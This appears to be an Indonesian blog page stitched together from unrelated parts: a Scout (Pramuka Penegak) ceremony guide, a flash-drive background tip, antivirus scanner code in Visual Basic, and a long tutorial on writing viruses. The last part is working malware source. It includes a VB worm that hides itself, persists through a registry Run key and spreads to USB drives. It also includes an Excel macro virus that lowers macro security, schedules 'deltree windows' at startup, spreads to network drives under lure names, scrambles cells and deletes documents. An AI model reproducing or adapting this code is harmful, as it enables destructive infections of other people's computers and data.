pramuka45

BAB VIII

UPACARA DI SATUAN PRAMUKA PENEGAK

Pt. 37. Macam upacara di Ambalan Penegak

Macam upacara di dalam Ambalan Penegak meliputi :

a. Upacara Pembukaan Latihan

b. Upacara Penutupan Latihan

c. Upacara Penerimaan Tamu

d. Upacara Penerimaan Calon

e. Upacara Pelantikan

f. Upacara Kenaikan Tingkat

g. Upacara Pemberian Tanda Kecakapan Khusus

h. Upacara Pindah ke Golongan ke Racana Pandega

i. Upacara Pelepasan.

Pt. 38. Upacara Pembukaan Latihan Ambalan Penegak

Upacara Pembukaan Latihan di Ambalan Penegak diatur sebagai berikut :

a. Kerapihan setiap anggota ambalan.

b. Sangga Kerja menyiapkan perlengkapan upacara

c. Pradana mengumpulkan anggota ambalan dalam bentuk barisan bersaf.

d. Laporan Pemimpin Sanga kepada Pradana.

e. Pada waktu Pemimpin Sangga meninggalkan tempat, Wakil Pemimpin Sangga pindah ke tempat Pemimpin Sangga.

f. Para Pemimpin Sangga sesudah laporan mengambil tempat di sebelah kanan barisan.

g. Pradana menjemput Pembina dan mengantarnya ke sebelah kanan para pemimpin Sangga.

h. Pradana mengambil tempat di depan barisan, sesuai dengan adat ambalan yang berlaku.

i. Petugas bendera mengibarkan Sang Merah Putih, Pradana memimpin penghormatannya.

j. Pembacaan Dasaidarma oleh petugas.

k. Pembina Penegak atau Pembina Upacara membaca Pancasila diikuti oleh anggota ambalan.

l. Pengumuman dari Pradana/Pembina.

m. Pradana memimpin doa sesuai dengan agama dan kepercayaan masing-masing.

n. Barisan dibubarkan oleh Pradana dilanjutkan dengan acara latihan.

Pt. 39. Upacara Penutupan Latihan Pasukan Penggalang

Jalannya Upacara Penutupan Latihan Peasukan Penggalang adalah sebagai berikut :

a. Kerapihan setiap anggota ambalan.

b. Pradana mengumpulkan anggota ambalan dalam bentuk barisan bersaf.

c. 1) Pemimpin Sangga mengambil tempat di sebelah kanan barisan.

2) Wakil Pemimpin Sangga pindah ke tempat Pemimpin Sangga.

d. Pradana menjemput Pembina Penegak dan mengantarkannya ke sebelah kanan barisan.

e. Pradana mengambil tempat di depan barisan sesuai dengan adat ambalan yang berlaku.

f. Petugas bendera menurunkan Sang Merah Putih untuk disimpan.

g. Pembacaan renungan atau sandi ambalan oleh petugas.

h. Pengumuman tentang sangga kerja untuk latihan yang akan datang, dan lain-lain.

i. Pradana memimpin berdoa sesuai agama dan kepercayaan masing-masing.

j. Laporan Pradana kepada Pembina Penegak.

k. Pradana membubarkan barisan.

Pt. 40. Upacara Penerimaan Tamu

Upacara Penerimaan Tamu Ambalan Penegak dilaksanakan dalam rangkaian Upacara Pembukaan Latihan, dengan jalan sebagai berikut :

a. Tamu Ambalan mengambil tempat di kiri Pradana atau Pembina.

b. Pradana atau Pembina memperkenalkan tamu kepada anggota Ambalan.

c. Pradana atau Pembina memberi kesempatan kepada tamu untuk mengikuti kegiatan ambalan.

d. Barisan dibubarkan, dilanjutkan dengan acara latihan.

Pt. 41. Upacara Penerimaan Calon Penegak

Upacara Penerimaan Calon Penegak di Ambalan dilaksanakan sesudah Upacara Pembukaan Latihan, dengan jalan sebagai berikut :

a. Pradana mengumpulkan anggota ambalan.

b. Tamu ambalan berada di tepat yang telah ditentukan.

c. Penegak Bantara/Laksana yang sudah ditentukan menyiapkan pertanyaan.

d. Tamu ambalan dijemput oleh petugas untuk dihadapkan kepada ambalan.

e. Pengantar kata Pradana atau Pembina.

f. Tanya jawab tentang keadaan pribadi tamu yang akan diterima sebagai calon Penegak.

g. Petugas mengajak tamu meninggalkan tempat.

h. Ambalan bermusyawarah untuk menentukan penerimaan calon.

i. Tamu dipanggil untuk mendengarkan keputusan penerimaannya di ambalan.

j. Ucapan selamat dari anggota ambalan dilanjutkan dengan acara latihan.

Pt. 42. Upacara Pelantikan Calon Penegak menjadi Penegak Bantara

Upacara Pelantikan Calon Penegak menjadi Penegak Bantara, tidak boleh dihadiri Calon Penegak lainnya. Pelaksanaannya diatur sebagai berikut :

a. Sangga Kerja menyiapkan perlengkapan upacara.

b. Calon Penegak yang akan dilantik diantar oleh pendamping kanan dan pendamping kiri ke hadapan Pembina Penegak.

c. Pembina minta penjelasan kepada pendamping kanan dan pendamping kiri mengenai watak dan kecakapan calon.

d. Pendamping kanan dan pendamping kiri kembali ke sangganya.

e. Sang Merah Putih dibawa petugas ke sebelah kanan depan Pembina, anggota ambalan menghormat dipimpin oleh Pradama/Petugas.

f. Tanya jawab tentang Syarat Kecakapan Umum antara Pembina dan calon.

g. Pembina memipin doa sesuai dengan agama dan kepercayaan masing-masing.

h. Penyematan tanda-tanda disertai pesan seperlunya.

i. Ucapan janji Trisatya dituntun oleh Pembina Penegal, dengan jalan memegang ujung Sang Merah Putih dengan tangan kanan yang ditempelkan di dada kiri tepat dengan jantungnya. Kemudian disusul dengan penyematan Tanda Penegak Bantara oleh calon Penegak sendiri.

j. Penghormatan ambalan kepada Penegak Bantara yang baru dilantik.

k. Ucapan selamat dari anggota ambalan.

l. Pendamping kanan dan pendamping kiri menjemput Penegak Bantara yang selesai dilantik untuk kembali ke sangganya.

Pt. 43. Upacara Kenaikan Tingkat dari Penegak Bantara menjadi Penegak Laksana

Upacara Kenaikan Tingkat dari Penegak Bantara menjadi Penegak Laksana dilakukan sebagai berikut :

a. Pradana atau Pembina Penegak mengumpulkan anggota ambalan.

b. Penegak Bantara yang akan naik tingkat diantar oleh pendampingnya ke hadapan Pembina Penegak.

c. Pembina minta pernyataan pendamping mengenai perkembangan watak dan kecakapan yang bersangkutan.

d. Para pendamping kembali ketempat.

e. Tanya jawab tentang syarat kecakapan umum yang telah diselesaikan antara Pembina dan Penegak Bantara yang akan naik tingkat.

f. Sang Merah Putih dibawa oleh petugas ke sebelah kanan depan Pembina Penegak. Waktu Sang Merah Putih memasuki tempat upacara anggota ambalan menghormat dipimpin Pradama atau petugas.

g. Pembina memberikan bendera Sang Merah Putih kepada Penegak yang bersangkutan.

h. Pembina melepas Tanda Penegak Bantara disertai pesan seperlunya.

i. Tanda Penegak Laksana dipasang sendiri oleh Penegak yang bersangkutan.

j. Penegak Bantara yang naik tingkat mengulang janji Trisatya dituntun Pembina memegang ujung Sang Merah Putih dengan tangan kanannya ditempelkan di dada kiri tepat pada jantungnya

k. Pembina memimpin doa menurut agama dan keperayaan masing-masing.

l. Ucapan selamat dari anggota ambalan.

m. Pembina menyerahkan ambalan kepada Pradama untuk meneruskan acara.

Pt. 44. Upacara Pemberian Tanda Kecakapan Khusus kepada Pramuka Penegak

Upacara pemberian Tanda Kecakapan Khusus kepada Penegak yang telah memenuhi syarat dilakukan dalam rangkaian Upacara Pembukaan/Penutupan Latihan dengan jalan sebagai berikut :

a. Penegak yang akan menerima tanda kecakapan khusus dipangggil kedepan Pembina.

b. Tanya jawab tentang syarat kecakapan khusus yang telah dipenuhi.

c. Penyematan tanda kecakapan khusus dan penyerahan surat keterangan oleh Pembina.

d. Ucapan selamat dari anggota ambalan.

f. Pembina menyerahkan Ambalan kepada Pradama untuk meneruskan acara.

Pt. 45. Upacara Pindah Golongan dari Ambalan Penegak ke Racana Pandega

Upacara pindah golongan dari Ambalan Penegak ke Racana Pandega dilakukan sebagai berikut :

a. Pradana/Pembina Penegak mengumpulkan anggota ambalan dalam bentuk barisan bersaf.

b. Penegak yang akan pindah golongan dipanggil ke hadapan Pembina Penegak.

c. Penjelasan Pembina bahwa kepindahannya bukan karena kecakapannya, melainkan karena usianya

d. Penegak yang akan pindah minta diri kepada anggota ambalan.

e. Pembina menyerahkan Penegak yang bersangkutan kepada Pembina Racana Pandega.

f. Pembina Racana Pandega menerimanya sesuai dengan adat racana yang berlaku.

Pt. 46. Upacara Pelepasan Penegak yang akan terjun ke masyarakat

Upacara Pelepasan Penegak yang akan terjun ke masyarakat dilakukan dalam bentuk informal, di luar pertemuan rutin.

a. Dilaksanakan oleh Sangga Kerja/Panita.

b. Acara upacara meliputi :

1) Penjelasan Pembina.

2) Penegak yang bersangkutan minta diri.

3) Sambutan wakil anggota ambalan.

4) Kata Pelepasan Pembina Penegak dan penyerahan surat keterangan.

5) Pemberian kenangan kepada Penegak yang akan meninggalkan ambalan.

6) Berdoa dipimpin oleh Pembina Penegak.

7) Ramah Tamah diakhiri dengan membentuk rantai persaudaraan.
c. Tempat dan waktu tidak terikat.

nah,kawan ini dia info nya

Cara membuat Background pada Flashdisk

Cara membuat Background pada Flash disk - Backgrond di flashdisk bisa kita rubah-rubah sesuai keinginan kita. bisa kita pasang dengan background foto kita, atau bisa juga kita pasang dengan wallpaper yang telah kita download dari internet. dan berikut ini Cara membuat Background pada Flash disk tanpa bantuan Software.

Sebelum menerapkan Cara membuat Background pada Flash disk tanpa Software ini, ada hal yang harus dipersiapkan yaitu ukuran foto atau wallpaper yang di gunakan nanti harus berukuran kurang dari 600px

Dan berikut ini Cara membuat Background pada Flash disk

Pasang Flashdisk di port usb.
Buka program NOTEPAD.
Copy coding di bawah ini
Paste di NOTEPAD
Masukkan gambar yang ingin kita jadikan Background di flashdisk.
Beri nama gambar tadi "background.jpg".
Kembali ke NOTEPAD anda dan save coding tadi dengan nama
"dekstop.ini" dan di simpan di flash disk.
Buka explorer dan click drive flashdisk anda. Jika langkah di atas telah anda ikuti dengan benar,background flashdisk anda harusnya sudah ada.
Untuk membuat rapi flashdisk anda, gambar background yang di beri nama background.jpg tadi, di hiden agar tidak terhapus/terpindah.

Cara membuat Background pada Flash disk ini hanya membuat background pada halaman depan flashdisk saja.dan bila anda mengklik folder laen,anda tidak akan menemukan background tsbt. Jika ingin tiap folder ada backgroundnya,ulangi cara tersebut
di tiap folder.

2.VIRUS

(saya hanya memaparkan beberapa souce code yang dianggap penting,,,, dalam membuat anti virus)

MEMBACA SIGNATURE VIRUS YANG ADA

Private Sub cmdTambah_Click()

Dim nf As Integer

Dim cVDF As String

Dim cPattern As String

cVDF = App.Path + “\Scan.vdf”

nf = FreeFile

Open cVDF For Append As #nf

cPattern = AmbilPatternFile(txtPath.Text)

If cPattern = “” Then

MsgBox “Gagal mengambil pattern virus !”, vbCritical, vbOKOnly

Else

Print #nf, cPattern + txtNamaVirus.Text

Call lstHistory.AddItem(”Tambah VDF : ” + txtNamaVirus.Text, 0)

End If

Close #nf

End Sub

Kelemahan Teknik ini berfungsi jika signature virus ada, jika tidak maka kemungkinan virus-virus tidak akan dikenali….

teknik lain yang sering digunakan oleh antivirus lain seperti CRC atau ceksum… dan ini kemungkinan besar untuk mendeteksi keberadaan virus-virus yang ada

CEK PROSES BERJALAN

Public Sub CekProcesses()

Dim hSnapShot As Long

Dim ProcessEntry As PROCESSENTRY32

Dim NextEnumExists As Boolean

Dim Pos As Long

Dim pId As Long

Dim fileName As String

Dim baseName As String

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

If hSnapShot = 0 Then

MsgBox “Failed to create Module and Thread snapshot”

Exit Sub

End If

ProcessEntry.dwSize = Len(ProcessEntry)

NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)

While NextEnumExists

pId = ProcessEntry.th32ProcessID

Pos = InStr(ProcessEntry.szExeFile, Chr(0))

If Pos > 1 Then

fileName = Left(ProcessEntry.szExeFile, Pos - 1)

baseName = extractFilename(fileName)

Else

fileName = “”

baseName = “”

End If

Call lstHistory.AddItem(”Periksa (” + Hex$(pId) + “) ” + fileName, 0)

Call cekModules(pId)

NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)

Wend

Call CloseHandle(hSnapShot)

End Sub

Public Sub CekModules(pId As Long)

Dim ModuleEntry As TMODULEENTRY32

Dim hProcess As Long

Dim Proceed As Long

Dim hSnapShot As Long

Dim lWritten As Long

Dim sBuffer As String * 512

Dim ImageNTHeader As IMAGE_NT_HEADERS

Dim e_lfanew As Integer

Dim Pattern As String

Dim i As Integer

If GetVersion = VER_PLATFORM_WIN32_NT Then

If Not SetPrivilege(”SeDebugPrivilege”, True) Then Exit Sub

End If

hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)

If hProcess <> 0 Then

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)

If hSnapShot <> -1 Then

ModuleEntry.dwSize = Len(ModuleEntry)

Proceed = Module32First(hSnapShot, ModuleEntry)

Do While Proceed

sBuffer = Space(1024)

If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then

If lWritten > 0 Then

e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) - 1

If e_lfanew > 0 Then

If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then

Pattern = buatPattern(ImageNTHeader)

i = 0

Do While i <= PatternCount

If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

i = i + 1

Loop

If i <= PatternCount Then

Call TerminateProcess(hProcess, 0)

Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

Call lstHistory.AddItem(”Action: Delete process”, 0)

End If

Proceed = Module32Next(hSnapShot, ModuleEntry)

Loop

End If

CloseHandle (hSnapShot)

End If

CloseHandle (hProcess)

If GetVersion() = VER_PLATFORM_WIN32_NT Then

Call SetPrivilege(”SeDebugPrivilege”, False)

End If

End Sub

setelah menghentikan prosesnya kita akan mencari virus2 tersebut

MENCARI DAN MENDAPATKAN VIRUS2 DIMEDIA PENYIMPANAN

Function GetFiles(Path As String)

Dim ObjFSO As Object

Dim sFiles As Object

Dim Pattern As String

Dim i As Integer

On Error GoTo Finally

Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)

txtScan.Text = Path

For Each sFiles In ObjFSO.GetFolder(Path).Files

DoEvents

If InStr(”bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then

Pattern = AmbilPatternFile(sFiles)

If Pattern <> “” Then

i = 0

Do While i <= PatternCount

If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

i = i + 1

Loop

If i <= PatternCount Then

Call lstHistory.AddItem(”File :” + sFiles, 0)

Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

End If

Finally:

End Function

Some HTML allowed:

You can use these tags :
OK,,,,lets do it jangan banyak-banyak bacot. syarat-syarat sebuah virus/ worm 1. Menyembunyikan prosesnya dari pemakai 2. Mengaktifkan dirinya setiap startup sistem 3. Menyebarkan dirinya melalui media file executable 4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi 5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system 6. Menyebarkan dirinya dengan filename spoofing. 7. Mempercepat proses penyebarannya dengan pendekatan social engineering 8. Berusaha mempertahankan existensi dirinya 1. Tidak menampakan diri pada saat Run. Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module) Option Explicit ‘setiap variable harus dideklarasikan Sub main() App.TaskVisible = False ‘tidak tampil di taskbar Form1.Visible = False ‘tidak menampilkan form End Sub Buatlah sub main sebagai startup object program anda (Project-Project Properties- Startup Object, Sub Main) Coba lakukan Run, apakah program anda visible (form dan taskbar) 2. Mengaktifkan diri setiap proses boot System. Tambahkan sebuah sub baru dengan nama virusInstall Sub VirusInstall() Dim wShell As Object Dim fSource As String Dim fTarget As String ‘ambil path dan nama exe file fSource = App.Path & “\” & App.EXEName & “.exe” ‘duplikasi ke folder windows fTarget = Environ$(”windir”) & “\MyVirus.exe” ‘Periksa apakah sudah pernah install If Dir(fTarget) = “” Then Call FileCopy(fSource, fTarget) Set wShell = CreateObject(”WScript.Shell”) ‘manipulasi registry run wShell.regwrite “HKLM\Software\Microsoft\Windows\Run\MyVirus”, fTarget End If End Sub dan aktifkan sub virusInstall dari Sub Main Sub Main() App.TaskVisible = False Form1.Visible = False Call VirusInstall ‘install diri End Sub 3. Penyebaran diri melalui media flash disk · Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat) Dim infectedFlashDisk As Boolean ‘flag sudah infeksi atau belum · Tambahkan sub berikut untuk mereplikasi diri virus Public Sub replikasiDiri(targetDrive As String) Dim fSource As String Dim fTarget As String ‘replikasi dari C:\Windows (lokasi instalasi diri) fSource = Environ$(”windir”) & “\MyVirus.exe” ‘ke target drive fTarget = targetDrive + “\MyVirus.exe” ‘jangan replikasi lebih dari 1 kali pada media yang sama If Dir(fTarget) = “” Then Call FileCopy(fSource, fTarget) End If End Sub · Tambahkan sub berikut untuk memantau keberadaan flashdisk Public Sub sebarFlashDisk() On Error GoTo BatalInfeksi Dim AdaFlashDisk As Boolean Dim ObjFSO As Object Dim ObjDrive As Object ‘buat file scripting object Set ObjFSO = CreateObject(”Scripting.FileSystemObject”) Makalah Pembuatan Virus dengan Visual Basic Oleh : Hendra Soewarno 3 AdaFlashDisk = False For Each ObjDrive In ObjFSO.Drives ‘Asumsi semua removable drive diatas huruf C adalah flash disk ‘1 - Removable drive ‘2 - Fixed drive (hard disk) ‘3 - Mapped network drive ‘4 - CD-ROM drive ‘5 - RAM disk If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then AdaFlashDisk = True ‘jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then Call replikasiDiri(ObjDrive.DriveLetter+”:”) infectedFlashDisk = True ‘aktifkan flag sudah infeksi End If End If Next If Not AdaFlashDisk Then ‘tidak ada flashdisk infectedFlashDisk = False ‘reset flag sudah infeksi End If BatalInfeksi: End Sub · Tambahkan kontrol timer pada form1 Private Sub Timer1_Timer() Call sebarFlashDisk ‘aktifkan penyebaran flasdisk End Sub · Atur setting flag sudah infeksi dan control timer melalui sub main Sub Main() App.TaskVisible = False Form1.Visible = False Call VirusInstall ‘Atur variabel global infectedFlashDisk = False ‘Atur setting time Form1.Timer1.Interval = 5000 Form1.Timer1.Enabled = True End Sub 4. Membatasi pengaktifan diri hanya 1 kali Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai. · Tambahkan fungsi findWindow dari WINAPI Public Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long · Tambahkan fungsi sudahAktif Function sudahAktif(Title As String) As Boolean Dim vir_hwnd As Long ‘Jika Jendela virus aktif ‘cari Window dengan title yang sama vir_hwnd = FindWindow(vbNullString, Title) sudahAktif = Not (vir_hwnd = 0) End Function · Modifikasi sub Main Sub Main() Dim namaVirus As String namaVirus = “MyVirus” If Not sudahAktif(namaVirus) Then ‘jika belum aktif App.TaskVisible = False Form1.Visible = False Call VirusInstall ‘Atur variabel global infectedFlashDisk = False ‘Atur setting time Form1.Caption = namaVirus ‘tandai title Window Form1.Timer1.Interval = 5000 Form1.Timer1.Enabled = True End If End Sub 6. Ganti Icon MyVirus Icon virus sangat berguna dalam penyebarannya, dengan rekayasa social (social enginerring), maka akan menarik para user untuk mengeksekusinya. 7. Memperkecil ukuran executable virus anda untuk memperkecil ukuran virus lo biar cepat dalam proses pengeksekusian maka file executable itu di compress. software pengompress seperti ASPACK atau UPX sangat populer. finish….sekarang lo tinggal mengeksekusi nya dan liat reaksi kompi lo apa itu virus makro??? Virus makro adalah virus yang dibuat dengan memanfaatkan visual basic editor yang terdapat pada MS Office. gimana membuatnya ? open Word trus klik tabel tools liat macro trus klik visual basic editor skr lo dah gw anggap tau, na buat script nya……………tunggu ntar dulu skr nentuin gimana virus macro ini menyebar…gimana kalo bukan manfaatin removable drive kaya flashdisk OK dari pada basa basi gw tulis ne scripnya ‘Author :Aurel 666 ‘Script ini dibuat bukan untuk disebarkan sebagai program perusak, tp hanya buat ‘edukasi saja. Segala bentuk kerusakan yang terjadi tidak menjadi tanggung jawab ‘gw Ok bro____________________________________________. ‘——————————Lets begin fuck script ———————————– ‘Pendeklarasian varibel fungsi Private Declare Function RegOpenKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _ ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _ Long, phkResult As Long) As Long Private Declare Function RegCreateKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _ ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _ Long, phkResult As Long) As Long Private Declare Function RegSetValueExA Lib “advapi32.dll” (ByVal hKey As Long, _ ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpValue As String, ByVal cbData As Long) As Long Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal _ hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Global Const REG_DWORD As Long = 4 Global Const HKEY_LOCAL_MACHINE As Long = &H80000002 Global Const HKEY_CURRENT_USER As Long = &H80000001 Dim NewKEY As Long Dim AA, BB, NN Dim Myclub As String Dim CrStat As Boolean Dim pnm As String ‘ ini untuk mendisable menu dan ‘ menghapus direktory windows Sub MessBoard() On Error Resume Next CommandBars(”File”).Controls(”Print Area”).Visible = False CommandBars(”Data”).Controls(”Sort”).Visible = False CommandBars(”File”).Controls(”Page Setup…”).Visible = False NowBoom = Array(”MsApp”, “winamp”, “Ms Wizard”, “Web Camera”, _ “PCI driver”, “App Video”, “Lshots”, “WinApps”, “MsOffice 11″) Randomize NowBoom = NowBoom(Rnd * 9) KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\CurrentVersion\Run”, _ 0, KEY_ALL_ACCESS, s) KillAV = RegSetValueExA(s, NowBoom, 0, 1, “c:\windows\command\deltree windows”, 0) KillAV = RegCloseKey(s) End Sub Private Sub Auto_Open() On Error Resume Next Application.StatusBar = “Please Wait……Fuckin User” Application.ScreenUpdating = False CommandBars(”Tools”).Controls(”Customize…”).Visible = False CommandBars(”Tools”).Controls(”Options…”).Visible = False CommandBars(”Tools”).Controls(”Macro”).Enable = False ’setting registry security LOW pada excel ver. 8.0 dan 9.0 Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\8.0\Excel\” & _ “Microsoft Excel”, 0, KEY_ALL_ACCESS, k) Kill97 = RegSetValueExA(k, “Options6″, 0, REG_DWORD, Chr$(0), 4) Kill97 = RegCloseKey(k) Kill2K = RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel\” & _ “security”, s) Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel”, _ 0, KEY_ALL_ACCESS, s) Kill2K = RegSetValueExA(s, “Level”, 0, REG_DWORD, Chr$(2), 2) Kill2K = RegCloseKey(s) ‘mengalihkan antivirus ke file yang anda inginkan ‘rubah file rundll.exe sesuai keinginan AnVrs = Array(”VsStatEXE”, “Norton Auto-Protect”, “PC-Mav”, “AVG”, “Avast4″, _ “Kapersky”, “McAffe”, “Ansav E+”, “Norman”) Randomize AVstr = AnVrs(Rnd * 9) KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\” & _ “CurrentVersion\Run”, 0, KEY_ALL_ACCESS, s) KillAV = RegSetValueExA(s, AVstr, 0, 1, “c:\windows\rundll.exe”, 0) KillAV = RegCloseKey(s) Application.DisplayAlerts = False If Right(ActiveWorkbook.Name, 3) = “xls” Then ActiveWindow.Visible = False Workbooks.Add End If XBrnd ‘membuat file Xlstart yang isinya file yg terinfeksi ‘membuat tulisan pada sheet active strup = Application.StartupPath If Dir(strup & “\” & “*.xls”) = “” Then pnm = ActiveWorkbook.Name Apnm = ActiveWorkbook.FullName OtherVrs = Dir(strup & “\” & “*.xls”) If OtherVrs <> “” Then Workbooks(OtherVrs).Close Kill strup & “\” & OtherVrs End If Workbooks(pnm).SaveAs Filename:=strup & “\” & MyDocument & “.xls” ActiveWindow.Visible = False Workbooks.Open (Apnm) End If For n = 67 To 90 l = Chr(n) drv = l & “:” d3 = DrvID(drv) If d3 = “network” Then snd2drv (drv) Next nmpers = Dir(strup & “\” & “*.xls”) Application.OnSheetActivate = “” & strup & “\” & nmpers & “!XLBomb” If Month(Now()) = 7 And Day(Now()) = 7 Then Range(”A1″).Insert Range(”A1″).Select With Selection.Font .Name = “Arial” .FontStyle = “Bold” .Size = 18 .ColorIndex = 7 End With ActiveCell.FormulaR1C1 = “metal…KEEP ALIVE” ‘menampilkan pesan MessBoard cari End If Application.StatusBar = False Application.DisplayAlerts = True Application.ScreenUpdating = True End Sub ‘Penularan pada workbook yg aktif ‘add sheet xlSheetVeryHidden sebagai otorisasi Sub XLBomb() On Error Resume Next XlsBmb = “C:\Documents and Settings\Dark.WQK” Application.DisplayAlerts = False Application.ScreenUpdating = False aktip = ActiveWorkbook.Name sedang = ThisWorkbook.Name Set mcraktip = Workbooks(aktip).VBProject.VBComponents Set modaktip = ActiveWorkbook.VBProject.VBComponents Set mymcr = ThisWorkbook.VBProject.VBComponents If aktip <> “Book1″ And aktip <> “Book2″ Then For NS = 1 To Sheets.Count If Sheets(NS).Name = “4ureL” Then kz = Sheets(NS).Name Exit For End If kz = Sheets(NS).Name Next NS If kz <> “4ureL” Then Sheets.Add ActiveWindow.ActiveSheet.Name = “4ureL” Sheets(”4ureL”).Visible = xlSheetVeryHidden Else susun Sheets(”4ureL”).Range(”A7″) = “” End If For nm = 1 To mcraktip.Count If mcraktip(nm).Type = 1 Then nama = mcraktip(nm).Name Exit For End If Next nm modaktip.Remove modaktip(nm) For nm = 1 To mymcr.Count If mymcr(nm).Type = 1 Then nama = mymcr(nm).Name Exit For End If Next nm mymcr(nama).Export XlsBmb modaktip.Import XlsBmb Kill XlsBmb XBrnd ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then Application.StatusBar = “Searching…….” End If End If Application.DisplayAlerts = True End Sub ‘duplikasi virus dengan berbagai nama secara acak menggunakan Array Private Sub XBrnd() Dim Sbjt, Bodd On Error GoTo nil1 Randomize Sbjt = Array(”Laporan”, “Kas”, “MyMoney”, “thismonth”, “Sample”, “ms0ffice”, _ “tax”, “rEPORT”, “Kuisioner”) Myclub = Sbjt(Rnd * 9 + 1) Exit Sub nil1: Myclub = Sbjt(0) End Sub Function DrvID(drv3) ‘infeksi ke semua drive yang ada On Error Resume Next Dim fso, d, t Set fso = CreateObject(”Scripting.FileSystemObject”) Set d = fso.getdrive(drv3) Select Case d.driveType Case 0: t = “Unknown” Case 1: t = “removable” Case 2: t = “Fixed” Case 3: t = “network” Case 4: t = “CD-ROM” Case 5: t = “Ramdisk” End Select If t = “” Then t = “none” DrvID = t End Function ‘ penggunaan nama secara acak dengan memanfaatkan array untuk menginfeksi Sub snd2drv(DrvAll) On Error Resume Next Application.DisplayAlerts = False Application.ScreenUpdating = False Gnm = ActiveWorkbook.Name GnmF = ActiveWorkbook.FullName Randomize FlName = Array(”Colapse”, “myacc”, “report”, “launch07″, “Secret”, “jobs”, _ “reference”, “logistic”, _ “Form_login”, “NewCost”, “DontOpen”, “payment”, ” report”, “Finance”, _ “account”) Bread = FlName(Rnd * 14 + 1) Workbooks(Gnm).SaveAs Filename:=DrvAll & “\” & Bread & “.xls” Workbooks(ActiveWorkbook.Name).Close Workbooks.Open (GnmF) Application.DisplayAlerts = True End Sub Private Sub Auto_Close() On Error Resume Next If ActiveWorkbook.Name <> “Book1″ And ActiveWorkbook.Name <> “Book2″ Then Application.ScreenUpdating = False Application.DisplayAlerts = False For NS = 1 To Sheets.Count If Sheets(NS).Name = “4ureL” Then kz = Sheets(NS).Name Exit For End If kz = Sheets(NS).Name Next NS If kz <> “4urel” Then Sheets.Add ActiveWindow.ActiveSheet.Name = “4ureL” Sheets(”4ureL”).Visible = xlSheetVeryHidden End If CryptSTAT = Sheets(”4ureL”).Range(”A7″) If CryptSTAT <> 1 Then kacau Sheets(”4ureL”).Range(”A7″) = 1 SvFl = Dir(Application.StartupPath & “\” & “*.xls”) Workbooks(SvFl).Save ActiveWorkbook.Save End If End If End Sub ‘kalo file d tutup basic encrypt ‘kalo macro ditutup, merusak file Sub kacau() ‘kurang setiap sheets For i = 48 To 90 ‘48 As 0 And 90 As Z If i <> 63 Then huruf = Chr(i) Cells.Replace What:=huruf, Replacement:=Chr(i + 110), LookAt:=xlPart, SearchOrder _ :=xlByRows, MatchCase:=False End If Next End Sub ‘mengembalikan (decrypt) struktur file saat d buka Sub susun() For i = 158 To 200 If i <> 173 Then huruf = Chr(i) Cells.Replace What:=huruf, Replacement:=Chr(i - 110), LookAt:=xlPart, SearchOrder _ :=xlByRows, MatchCase:=False End If Next End Sub ‘ini untuk menghapus file xls,doc & file yg anda inginkan dengan ‘membuat file tipuan dg nama sesuai folder Sub cari() On Error Resume Next Dim nmfold1, nmfold2, pjg, kena As Integer pnm = ActiveWorkbook.FullName pjg = Len(pnm) For i = 0 To 50 pjg = pjg - 1 If Right(Left(pnm, pjg), 1) = “\” Then foldbatas = Left(pnm, pjg) Kill foldbatas & “*.xls” Kill foldbatas & “*.doc” Kill foldbatas & “proposal.*” If a = 0 Then nmfold1 = Len(foldbatas) - 1 pnm = Left(pnm, nmfold1) a = 1 Else nmfold2 = Len(foldbatas) + 1 kena = nmfold1 - nmfold2 namekena = Right(pnm, kena + 1) Application.ScreenUpdating = False Workbooks.Add (namekena & “.xls”) ActiveWorkbook.Save ActiveWorkbook.Close Application.ScreenUpdating = True Exit For End If End If Next End Sub wuahhhhhhhhhhhhhhhhh capeknya nulis 